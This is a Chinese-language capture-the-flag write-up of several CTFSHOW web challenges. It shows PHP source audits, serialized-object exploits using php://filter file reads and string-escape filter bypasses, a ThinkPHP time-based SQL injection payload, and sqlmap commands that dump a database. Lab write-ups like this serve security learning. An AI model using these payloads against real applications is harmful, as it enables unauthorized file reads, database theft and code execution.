CTFSHOW-F5杯

eazy-unserialize

打开题目看到源码,代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<?php
include "mysqlDb.class.php";

class ctfshow{
public $method;
public $args;
public $cursor;

function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
$this->getCursor();
}

function getCursor(){
global $DEBUG;
if (!$this->cursor)
$this->cursor = MySql::getInstance();

if ($DEBUG) {
$sql = "DROP TABLE IF EXISTS USERINFO";
$this->cursor->Exec($sql);
$sql = "CREATE TABLE IF NOT EXISTS USERINFO (username VARCHAR(64),
password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";

$this->cursor->Exec($sql);
$sql = "INSERT INTO USERINFO VALUES ('CTFSHOW', 'CTFSHOW', 'admin'), ('HHD', 'HXD', 'user')";
$this->cursor->Exec($sql);
}
}

function login() {
list($username, $password) = func_get_args();
$sql = sprintf("SELECT * FROM USERINFO WHERE username='%s' AND password='%s'", $username, md5($password));
$obj = $this->cursor->getRow($sql);
$data = $obj['role'];

if ( $data != null ) {
define('Happy', TRUE);
$this->loadData($data);
}
else {
$this->byebye("sorry!");
}
}

function closeCursor(){
$this->cursor = MySql::destroyInstance();
}

function lookme() {
highlight_file(__FILE__);
}

function loadData($data) {

if (substr($data, 0, 2) !== 'O:') {
return unserialize($data);
}
return null;
}

function __destruct() {
$this->getCursor();
if (in_array($this->method, array("login", "lookme"))) {
@call_user_func_array(array($this, $this->method), $this->args);
}
else {
$this->byebye("fuc***** hacker ?");
}
$this->closeCursor();
}

function byebye($msg) {
$this->closeCursor();
header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}
}

class Happy{
public $file='flag.php';

function __destruct(){
if(!empty($this->file)) {
include $this->file;
}
}

}

function ezwaf($data){
if (preg_match("/ctfshow/",$data)){
die("Hacker !!!");
}
return $data;
}
if(isset($_GET["w_a_n"])) {
@unserialize(ezwaf($_GET["w_a_n"]));
} else {
new CTFSHOW("lookme", array());
}

在ezwaf中可以看出 data中不能含有ctfshow,在Happy类中直接包含了flag.php,那直接去实例化Happy就可以绕过ezwaf了,因为我们没有实例化ctfshow这个类,所以传入的数据中并不会含有ctfshow。

exp

1
2
3
4
5
6
7
8
<?php

class Happy{
public $file='php://filter/convert.base64-encode/resource=flag.php';
}
$a = new Happy();
$b = serialize($a);
echo $b;

解码看到flag的位置在根目录下再次构造访问/flag即可

eazy-unserialize-revenge

上一题的exp还可以用

lastsward’s website

登陆 admin/123456

登录进去之后玩了好久的游戏哈哈哈哈哈 2048玩了好几次嘿嘿嘿

言归正传 指纹识别插件显示为Thinkphp输入报错信息看到版本

参考文章

https://zhuanlan.zhihu.com/p/127208753

通过文章里找到了一个paylod

1
?Id[0]=exp&Id[1]==2 and sleep(5)--+

然后访问可以看到

在修改游戏名称为

1
<?php phpinfo(); ?>

即可拿到flag!

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=–=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==–=-=-=–=-=-=-=-=

今下午就做了这两道题,剩下的明天搞做个分界线,明天要开始上课啦哟!

迷惑行为大赏之盲注

10点开始上课,上课前刷一道,这道题我不知道是不是非预期,sqlmap直接一把嗦了

在忘记密码的部分会存在两个不同的回显

存在注入点,然后抓去post数据包保存为1.txt,sqlmap一把嗦

1
sqlmap -r 1.txt --dbs

1
sqlmap -r 1.txt -D 测试 --tables

1
sqlmap -r 1.txt -D 测试 -T 15665611612 --columns

1
sqlmap -r 1.txt -D 测试 -T 15665611612 -C 'what%40you%40want' --dump

这里需要注意的一个点就是特殊字符需要url编码一下。

Web逃离计划

登陆界面尝试登录 密码错误得到提示不是sql注入,于是爆破下密码

成功得到密码,是个弱口令,登录后显示登录成功但是还在这个页面

看到了一个php文件,LFI成功得到源码

base64解码,最终得到所有代码,一看代码就看到一个醒眼的字眼

分析所有代码得到poc链

PersonalFunction::checkFunction->register::toString–>magic::get

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

class register{
protected $username;
protected $password;
protected $mobile;
protected $mdPwd;

public function __construct($username,$password,$mobile,$mdPwd){
$this->username = $username;
$this->password = $password;
$this->mobile = $mobile;
$this->mdPwd = $mdPwd;
}

}

class magic{
protected $username;

public function __construct(){
$this->username = 'admin';
}

}
class PersonalFunction{
protected $username;
protected $password;
protected $func;

public function __construct($username,$password,$func){
$this->username = $username;
$this->password = $password;
$this->func = $func;
}
}

$a = new magic();
$b = new register('ly0n','ly0n','1',$a);
$c = array($b);
$d = new PersonalFunction('ly0n','ly0n',$c);
echo serialize($d);

index的代码

看到ezwaf里的代码,存在三个函数

第一个get

1
2
3
4
function get($data){
$data = str_replace('forfun', chr(0)."*".chr(0), $data);
return $data;
}

输入的forfun会被转换为3个字符,也就是每次输入减少了三个字符,可造成字符串逃逸

第二个checkDate

1
2
3
4
function checkData($data){
if(stristr($data, 'username')!==False&&stristr($data, 'password')!==False){
die("fuc**** hacker!!!\n");
}

hex绕过

第三个 checkLogData

1
2
function checkLogData($data){
if (preg_match("/register|magic|PersonalFunction/",$data)){

正则不含i 对大小写敏感可以大写绕过

接下来就是要逃逸字符串,通过上面的exp可以输出

1
O:16:"PersonalFunction":3:{s:11:"\00*\00username";s:4:"ly0n";s:11:"\00*\00password";s:4:"ly0n";s:7:"\00*\00func";a:1:{i:0;O:8:"register":4:{s:11:"\00*\00username";s:4:"ly0n";s:11:"\00*\00password";s:4:"ly0n";s:9:"\00*\00mobile";s:1:"1";s:8:"\00*\00mdPwd";O:5:"magic":1:{s:11:"*username";s:5:"admin";}}}}

经过class页面模拟输入得到的结果

1
O:5:"Login":3:{s:12:"\00*\00user_name";s:4:"ly0n";s:12:"\00*\00pass_word";s:361:"";s:12:"\00*\00pass_word";O:16:"PersonalFunction":3:{s:11:"\00*\00username";s:4:"ly0n";s:11:"\00*\00password";s:4:"ly0n";s:7:"\00*\00func";a:1:{i:0;O:8:"register":4:{s:11:"\00*\00username";s:4:"ly0n";s:11:"\00*\00password";s:4:"ly0n";s:9:"\00*\00mobile";s:1:"1";s:8:"\00*\00mdPwd";O:5:"magic":1:{s:11:"\00*\00username";s:5:"admin";}}}}";s:8:"\00*\00admin";i:0;}";s:8:"*admin";i:0;}
1
";s:12:"\00*\00pass_word";s:361:"

下面那一句就是需要吞掉的,但是只有29个字符,要凑成3的倍数,在输入password的时候加一个a

也就是

1
password=a";;s:12:"\00*\00pass_word";O:16:"PersonalFunction":3:{s:11:"\00*\00username";s:4:"ly0n";s:11:"\00*\00password";s:4:"ly0n";s:7:"\00*\00func";a:1:{i:0;O:8:"register":4:{s:11:"\00*\00username";s:4:"ly0n";s:11:"\00*\00password";s:4:"ly0n";s:9:"\00*\00mobile";s:1:"1";s:8:"\00*\00mdPwd";O:5:"magic":1:{s:11:"\00*\00username";s:5:"admin";}}}}";s:8:"\00*\00admin";i:0;}";s:8:"*admin";i:0;}

在username 输入10个forfun达到逃逸,然后通过hex桡过第二个过滤,大小写绕过第三个过滤

1
a";S:12:"\00*\00pass_word";O:16:"personalFunction":3:{S:11:"\00*\00\75sername";S:4:"ly0n";S:11:"\00*\00\70assword";S:4:"ly0n";S:7:"\00*\00func";a:1:{i:0;O:8:"Register":4:{S:11:"\00*\00\75sername";S:4:"ly0n";S:11:"\00*\00\70assword";S:4:"ly0n";S:9:"\00*\00mobile";S:1:"1";S:8:"\00*\00mdPwd";O:5:"Magic":1:{S:11:"\00*\00\75sername";S:5:"admin";}}}}

拿到flag